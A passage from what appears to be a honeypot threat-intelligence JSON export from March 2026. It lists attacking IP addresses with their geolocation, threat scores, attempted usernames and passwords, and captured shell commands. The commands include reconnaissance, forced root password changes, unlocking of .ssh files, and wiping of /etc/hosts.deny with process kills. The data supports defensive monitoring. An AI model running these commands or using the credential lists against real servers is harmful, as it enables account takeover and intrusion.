        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 39.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 301,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T20:56:04.256000+00:00",
        "last_seen_30d": "2026-03-23T13:04:45.384000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 242,
        "Suricata": 59
      }
    },
    "125.31.2.160": {
      "attack_count": 238,
      "first_seen": "2026-03-18T14:14:18.366Z",
      "last_seen": "2026-03-18T15:39:25.472Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "alpha",
        "srvadmin",
        "amir",
        "ay",
        "ct",
        "efs",
        "huang",
        "ionadmin",
        "mcserver",
        "mexal",
        "mobiquity",
        "node",
        "redhat",
        "satisfactory",
        "vncuser",
        "wilson",
        "xwiki"
      ],
      "passwords_attempted": [
        "12345678",
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "12345",
        "159159",
        "Admin-12345",
        "Amir123",
        "Redhat123",
        "Secure123",
        "Xwiki123!",
        "huangpass",
        "mcserverpass",
        "mexal",
        "password",
        "satisfactory123!",
        "vncuser1234",
        "wilson123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nQchDGqyyMC3K\\nQchDGqyyMC3K\\n\"|passwd",
        "echo \"123\\niloY9Sco1iEt\\niloY9Sco1iEt\\n\"|passwd",
        "echo -e \"12345678\\nQchDGqyyMC3K\\nQchDGqyyMC3K\"|passwd|bash",
        "echo -e \"123\\niloY9Sco1iEt\\niloY9Sco1iEt\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Macao",
      "country_code": "MO",
      "city": null,
      "asn": 4609,
      "as_org": "Companhia de Telecomunicacoes de Macau SARL",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 295,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T14:14:18.366000+00:00",
        "last_seen_30d": "2026-03-18T15:40:25.742000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 238,
        "Suricata": 57
      }
    },
    "142.93.45.30": {
      "attack_count": 205,
      "first_seen": "2026-03-03T00:07:49.020Z",
      "last_seen": "2026-03-03T00:40:24.733Z",
      "sessions": 40,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "administrator",
        "ansible",
        "apache"
      ],
      "passwords_attempted": [
        "123456",
        "P@ssw0rd",
        "letmein",
        "passw0rd",
        "password",
        "qwerty",
        "welcome",
        "admin",
        "admin123",
        "admin2026",
        "administrator",
        "administrator123",
        "administrator2026",
        "ansible",
        "ansible123",
        "ansible2026",
        "apache",
        "apache123",
        "apache2026"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 291,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T00:07:34.826000+00:00",
        "last_seen_30d": "2026-03-03T00:40:53.346000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 205,
        "Suricata": 86
      }
    },
    "103.160.100.15": {
      "attack_count": 187,
      "first_seen": "2026-03-22T07:05:30.227Z",
      "last_seen": "2026-03-22T07:25:05.267Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "kishore",
        "es_user",
        "jon",
        "jwlee",
        "software",
        "test_user",
        "user1",
        "wg"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "Aa12345@",
        "Qwerty123",
        "Software123",
        "Wg123!",
        "es_user123!",
        "jon123",
        "jyb-2025",
        "password",
        "test_user123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nb3B24JbE00I0\\nb3B24JbE00I0\\n\"|passwd",
        "echo \"root:oSibRFNTiRT4\"|chpasswd|bash",
        "echo -e \"12345678\\nb3B24JbE00I0\\nb3B24JbE00I0\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": null,
      "asn": 151487,
      "as_org": "Awesomecloud Limited",
      "threat_score": 25.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 219,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T07:05:30.227000+00:00",
        "last_seen_30d": "2026-03-22T07:26:11.553000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 187,
        "Suricata": 32
      }
    },
    "3.131.220.121": {
      "attack_count": 162,
      "first_seen": "2026-03-03T21:02:22.880Z",
      "last_seen": "2026-03-31T15:22:42.054Z",
      "sessions": 44,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36",
        "Accept-Encoding: gzip"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23",
        ""
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 7629,
        "days_active_30d": 30,
        "ports_targeted_30d": 171,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-03-02T03:25:57+00:00",
        "last_seen_30d": "2026-03-31T19:54:22.356000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4899,
        "Honeytrap": 2142,
        "Cowrie": 162,
        "Mailoney": 153,
        "Dionaea": 124,
        "ConPot": 60,
        "Redishoneypot": 53,
        "Ciscoasa": 10,
        "Honeyaml": 6,
        "Ipphoney": 6,
        "ElasticPot": 5,
        "CitrixHoneypot": 4,
        "Tanner": 3,
        "H0neytr4p": 2
      }
    },
    "116.99.174.66": {
      "attack_count": 152,
      "first_seen": "2026-03-28T10:20:00.098Z",
      "last_seen": "2026-03-28T10:31:36.245Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "user",
        "config",
        "ftp",
        "guest1",
        "installer",
        "nikita",
        "operator",
        "oracle",
        "rebecca",
        "sshd",
        "sync",
        "system",
        "test",
        "username"
      ],
      "passwords_attempted": [
        "1234",
        "0l0ctyQh243O63uD",
        "12345",
        "123456",
        "OkwKcECs8qJP2Z",
        "abc123",
        "abcd1234",
        "admin123",
        "admin@123",
        "alpine",
        "andrew",
        "click1",
        "config",
        "default",
        "ftp",
        "guest1",
        "installer",
        "nikita",
        "operator",
        "oracle"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 34.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 217,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T10:20:00.098000+00:00",
        "last_seen_30d": "2026-03-28T10:32:39.984000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 152,
        "Suricata": 65
      }
    },
    "137.131.239.171": {
      "attack_count": 147,
      "first_seen": "2026-03-12T08:34:04.971Z",
      "last_seen": "2026-03-12T09:08:28.666Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "n8n",
        "root",
        "alumno",
        "test"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "Ctyun@2026",
        "alumnopass",
        "n8n",
        "test12345678"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"n8n\\nUYPs6qc2TtAO\\nUYPs6qc2TtAO\\n\"|passwd",
        "echo \"root:4zAYXabRWkr3\"|chpasswd|bash",
        "echo -e \"n8n\\nUYPs6qc2TtAO\\nUYPs6qc2TtAO\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 168,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T08:34:04.971000+00:00",
        "last_seen_30d": "2026-03-12T09:12:57.643000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 147,
        "Suricata": 21
      }
    },
    "85.18.236.229": {
      "attack_count": 144,
      "first_seen": "2026-03-20T16:49:03.504Z",
      "last_seen": "2026-03-20T17:14:24.860Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "sipv",
        "345gs5662d34",
        "alarm",
        "andre",
        "factura",
        "fernando",
        "jenkins",
        "jeremy",
        "michelle",
        "portal",
        "pzuser",
        "samp",
        "squid",
        "student1",
        "tigergraph",
        "valerie"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "123",
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "Portal",
        "fernando123",
        "jenkins1",
        "michelle@123456",
        "password",
        "sampsamp",
        "sipv@123456",
        "valerie123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"sipv@123456\\nwRP0B2yWIJYu\\nwRP0B2yWIJYu\\n\"|passwd",
        "echo -e \"sipv@123456\\nwRP0B2yWIJYu\\nwRP0B2yWIJYu\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Naples",
      "asn": 12874,
      "as_org": "Fastweb",
      "threat_score": 22.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 183,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T16:49:03.504000+00:00",
        "last_seen_30d": "2026-03-20T17:15:29.257000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 39
      }
    },
    "185.68.184.66": {
      "attack_count": 124,
      "first_seen": "2026-03-10T20:40:18.233Z",
      "last_seen": "2026-03-10T21:02:39.954Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "clawd",
        "root",
        "345gs5662d34",
        "carlos",
        "email",
        "ftpuser01",
        "juan",
        "myuser",
        "sammy",
        "sm",
        "student5"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "ZAQ!xsw2",
        "carlos123",
        "email123!",
        "ftpuser01",
        "juanpass",
        "myuser123",
        "qawsedrf",
        "sammy123!",
        "smpass",
        "student5123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123\\nkqN4fifOaPny\\nkqN4fifOaPny\\n\"|passwd",
        "echo -e \"123\\nkqN4fifOaPny\\nkqN4fifOaPny\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 41745,
      "as_org": "Baykov Ilya Sergeevich",
      "threat_score": 10.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T20:40:18.233000+00:00",
        "last_seen_30d": "2026-03-10T21:03:49.184000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 30
      }
    },
    "119.8.183.78": {
      "attack_count": 119,
      "first_seen": "2026-03-05T22:40:56.230Z",
      "last_seen": "2026-03-05T23:04:16.147Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "karan",
        "345gs5662d34",
        "arjun",
        "coder",
        "elk",
        "frontend",
        "git",
        "live",
        "meng",
        "proradis",
        "wiki"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Arjun123",
        "Elk123!",
        "coder",
        "gittest",
        "karan1234",
        "live123",
        "wikipass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"karan1234\\nYr3B6njVp5Nc\\nYr3B6njVp5Nc\\n\"|passwd",
        "echo -e \"karan1234\\nYr3B6njVp5Nc\\nYr3B6njVp5Nc\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 136907,
      "as_org": "HUAWEI CLOUDS",
      "threat_score": 4.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T22:40:56.230000+00:00",
        "last_seen_30d": "2026-03-05T23:05:25.837000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 29
      }
    },
    "176.53.96.208": {
      "attack_count": 119,
      "first_seen": "2026-03-14T20:32:16.682Z",
      "last_seen": "2026-03-14T20:52:06.606Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "syj",
        "345gs5662d34",
        "bert",
        "datacenter",
        "ftpuser1",
        "gitlab-runner",
        "proradis",
        "root",
        "shawn",
        "test001",
        "user02"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "12345",
        "12345678",
        "2wsx@WSX",
        "3245gs5662d34",
        "345gs5662d34",
        "Ftpuser1123!",
        "Gitlab-Runner123",
        "password",
        "shawn1234",
        "user02pass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"password\\nyPhw8vzaR7Cn\\nyPhw8vzaR7Cn\\n\"|passwd",
        "echo -e \"password\\nyPhw8vzaR7Cn\\nyPhw8vzaR7Cn\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": null,
      "asn": 42926,
      "as_org": "Radore Veri Merkezi Hizmetleri A.S.",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T20:32:16.682000+00:00",
        "last_seen_30d": "2026-03-14T20:53:09.522000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "20.173.116.24": {
      "attack_count": 119,
      "first_seen": "2026-03-15T21:16:01.886Z",
      "last_seen": "2026-03-15T21:37:55.954Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "345gs5662d34",
        "David",
        "bench",
        "info",
        "jagdish",
        "m",
        "tester",
        "userb"
      ],
      "passwords_attempted": [
        "1234",
        "1qaz-pl,",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin123456",
        "David123!",
        "bench",
        "info1234",
        "jagdish123",
        "p@ssw0rd",
        "tester123!",
        "userb"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"p@ssw0rd\\nIlTQSLHtk7N4\\nIlTQSLHtk7N4\\n\"|passwd",
        "echo -e \"p@ssw0rd\\nIlTQSLHtk7N4\\nIlTQSLHtk7N4\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Qatar",
      "country_code": "QA",
      "city": "Doha",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 16.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T21:16:01.886000+00:00",
        "last_seen_30d": "2026-03-15T21:38:57.538000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "79.112.126.100": {
      "attack_count": 119,
      "first_seen": "2026-03-26T07:45:27.926Z",
      "last_seen": "2026-03-26T14:25:59.345Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "controlm",
        "345gs5662d34",
        "abc",
        "bkp",
        "gittest",
        "kipt",
        "mk",
        "pzserver",
        "root",
        "toor",
        "yujie"
      ],
      "passwords_attempted": [
        "12345678",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Qaz123456",
        "abcpass",
        "controlm",
        "gittestpass",
        "mkpass",
        "pzserver123!",
        "yujie123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"controlm\\n7kttQw8SfX6r\\n7kttQw8SfX6r\\n\"|passwd",
        "echo -e \"controlm\\n7kttQw8SfX6r\\n7kttQw8SfX6r\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": null,
      "asn": 57269,
      "as_org": "Digi Spain Telecom S.A",
      "threat_score": 28.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T07:45:27.926000+00:00",
        "last_seen_30d": "2026-03-26T14:27:08.109000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "157.245.54.237": {
      "attack_count": 118,
      "first_seen": "2026-03-04T17:25:37.190Z",
      "last_seen": "2026-03-04T17:55:16.897Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
